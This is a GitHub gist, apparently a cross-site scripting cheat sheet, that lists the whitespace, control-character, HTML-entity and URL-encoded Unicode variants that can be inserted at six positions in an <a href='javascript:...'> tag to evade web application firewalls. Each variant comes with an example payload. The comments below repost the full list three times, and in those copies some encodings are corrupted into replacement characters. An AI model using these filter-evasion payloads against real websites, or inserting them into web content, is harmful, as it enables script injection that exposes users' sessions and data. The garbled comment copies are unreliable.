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hackerscrolls/mutation_a.txt

Last active September 6, 2024 15:38
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Mutation points in <a> tag for WAF bypass
Raw
mutation_a.txt
<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">
[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f
<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">
[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20
<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">
[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
HTML Encoding:
&#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;
<a href="&Tab;javascript:alert(1)">
<a href="&#x001;javascript:alert(1)">
[5]
Bytes:
\x09 \x0a \x0d
HTML Encoding:
&#x09; &#x0a; &#x0d;
<a href="javas\x09cript:alert(1)">
<a href="javas&Tab;cript:alert(1)">
[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0
HTML Encode (bytes):
&#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0;
UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff
URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf
HTML Encode (UTF-8):
&#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff
<a href="javascript:~alert(1)">
<a href="javascript://%0d%0aalert(1)">
<a href="javascript:\x0calert(1)">
<a href="javascript:%ef%bb%bfalert(1)">
<a href="javascript:&#xfeff;alert(1)">
-----------------------------------------
We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE
\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR
Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8

@Naresh-11
Copy link

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes:
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]
Bytes:
\x09 \x0a \x0c \x0d \x20

<a href\x20="javascript:alert(1)">
<a href=\x20"javascript:alert(1)">

[4]
Bytes:
\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

HTML Encoding:
� � � � � � � � � � � � � � � � � � � � � � � � � � �

[5]
Bytes:
\x09 \x0a \x0d

HTML Encoding:

[6]
Bytes:
\x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

URL Encode (bytes):
%09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

HTML Encode (bytes):
� ! + - ; ~  

UTF-8 Symbols:
\u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

URL Encode (UTF-8):
%e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

HTML Encode (UTF-8):
                        
 
     　 &#xfeff

We use char codes to show non printable symbols
\x00 - ASCII hex code
\x20 - SPACE
\x0a - NEW LINE

\u0000 - UTF-8 char code
\u1680 - OGHAM SPACE MARK
\u2028 - LINE SEPARATOR

Encoding UTF-8 to URL isn’t obvious:
\u1680 -> %e1%9a%80
\u2028 -> %e2%80%a8
dx

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